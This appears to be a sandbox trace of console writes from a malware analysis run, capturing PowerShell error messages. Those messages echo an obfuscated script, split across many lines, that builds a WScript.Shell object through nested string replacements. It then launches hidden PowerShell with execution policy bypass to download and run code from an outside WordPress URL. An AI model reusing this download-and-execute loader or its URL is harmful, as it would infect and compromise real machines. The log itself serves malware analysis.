WriteConsoleW
|
buffer:
Set-Variable : A positional parameter cannot be found that accepts argument 'Cr
console_handle:
0x00000023
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
eateObject'.
console_handle:
0x0000002f
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
At C:\Users\test22\AppData\Local\Temp\hh.txt.ps1:1 char:4
console_handle:
0x0000003b
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
+ Set <<<< PAUIKBFGLW = CreateObject(Replace(Replace(Replace(Replace(Replace(R
console_handle:
0x00000047
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
eplace(Replace(Replace(Replace(Replace(Replace("RPVBAJNLIHYAZIPXCVGSETWSVAMBOXH
console_handle:
0x00000053
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
JBDLZTXPIGJNOIHTALPEYKTHCXRDBCOMFZXYDEWBCSGHUPWKOYAZIPXCVGSRNXWOBZIPVMLTZPKYNOG
console_handle:
0x0000005f
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
TENLSKBWPITENLSKBWPI", "RPVBAJNLIH", "w"), "YAZIPXCVGS", "s"), "ETWSVAMBOX", "c
console_handle:
0x0000006b
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
"), "HJBDLZTXPI", "r"), "GJNOIHTALP", "i"), "EYKTHCXRDB", "p"), "COMFZXYDEW", "
console_handle:
0x00000077
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
t"), "BCSGHUPWKO", "."), "RNXWOBZIPV", "h"), "MLTZPKYNOG", "e"), "TENLSKBWPI",
console_handle:
0x00000083
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
"l"))
console_handle:
0x0000008f
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
+ CategoryInfo : InvalidArgument: (:) [Set-Variable], ParameterBi
console_handle:
0x0000009b
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
ndingException
console_handle:
0x000000a7
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
+ FullyQualifiedErrorId : PositionalParameterNotFound,Microsoft.PowerShell
console_handle:
0x000000b3
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
.Commands.SetVariableCommand
console_handle:
0x000000bf
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
The term 'XQPHCFZTOI' is not recognized as the name of a cmdlet, function, scri
console_handle:
0x000000df
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
pt file, or operable program. Check the spelling of the name, or if a path was
console_handle:
0x000000eb
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
included, verify that the path is correct and try again.
console_handle:
0x000000f7
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
At C:\Users\test22\AppData\Local\Temp\hh.txt.ps1:2 char:11
console_handle:
0x00000103
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
+ XQPHCFZTOI <<<< = ("POWeRS")
console_handle:
0x0000010f
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
+ CategoryInfo : ObjectNotFound: (XQPHCFZTOI:String) [], CommandN
console_handle:
0x0000011b
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
otFoundException
console_handle:
0x00000127
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
+ FullyQualifiedErrorId : CommandNotFoundException
console_handle:
0x00000133
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
The term 'PAUIKBFGLW.Run' is not recognized as the name of a cmdlet, function,
console_handle:
0x00000023
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
script file, or operable program. Check the spelling of the name, or if a path
console_handle:
0x0000002f
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
was included, verify that the path is correct and try again.
console_handle:
0x0000003b
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
At C:\Users\test22\AppData\Local\Temp\hh.txt.ps1:3 char:15
console_handle:
0x00000047
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
+ PAUIKBFGLW.Run <<<< ((XQPHCFZTOI)+"HeLL.eXe -WIND HIDDeN -eXeC BYPASS -NONI $
console_handle:
0x00000053
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
YSCOKHIUVP='IeX(NeW-OBJeCT NeT.W';$VFJHLBASEW='eBCLIeNT).DOWNLO';Sleep 2;[BYTe[
console_handle:
0x0000005f
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
]];Sleep 3;$DBMIPHQXFL='CKHTMIUJQE(''https://sygnifyme.com/wp-content/plugins/j
console_handle:
0x0000006b
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
etpack/Flag.SVG'')'.RePLACe('CKHTMIUJQE','ADSTRING');Sleep 1;IeX($YSCOKHIUVP+$V
console_handle:
0x00000077
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
FJHLBASEW+$DBMIPHQXFL);"), CONSOLE_HIDE, CMD_WAIT
console_handle:
0x00000083
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
+ CategoryInfo : ObjectNotFound: (PAUIKBFGLW.Run:String) [], Comm
console_handle:
0x0000008f
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
andNotFoundException
console_handle:
0x0000009b
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
+ FullyQualifiedErrorId : CommandNotFoundException
console_handle:
0x000000a7
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
Set-Variable : A positional parameter cannot be found that accepts argument 'No
console_handle:
0x000000c7
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
thing'.
console_handle:
0x000000d3
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
At C:\Users\test22\AppData\Local\Temp\hh.txt.ps1:4 char:4
console_handle:
0x000000df
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
+ Set <<<< ali = Nothing
console_handle:
0x000000eb
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
+ CategoryInfo : InvalidArgument: (:) [Set-Variable], ParameterBi
console_handle:
0x000000f7
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
ndingException
console_handle:
0x00000103
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
+ FullyQualifiedErrorId : PositionalParameterNotFound,Microsoft.PowerShell
console_handle:
0x0000010f
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
.Commands.SetVariableCommand
console_handle:
0x0000011b
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
Invalid switch - s
console_handle:
0x00000013
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
Invalid switch - c
console_handle:
0x00000013
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
Invalid switch - r
console_handle:
0x00000013
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
Invalid switch - i
console_handle:
0x00000013
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
Invalid switch - p
console_handle:
0x00000013
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
Invalid switch - t
console_handle:
0x00000013
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
Invalid switch - .
console_handle:
0x00000013
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
Invalid switch - h
console_handle:
0x00000013
|
1
|
1 |
0
|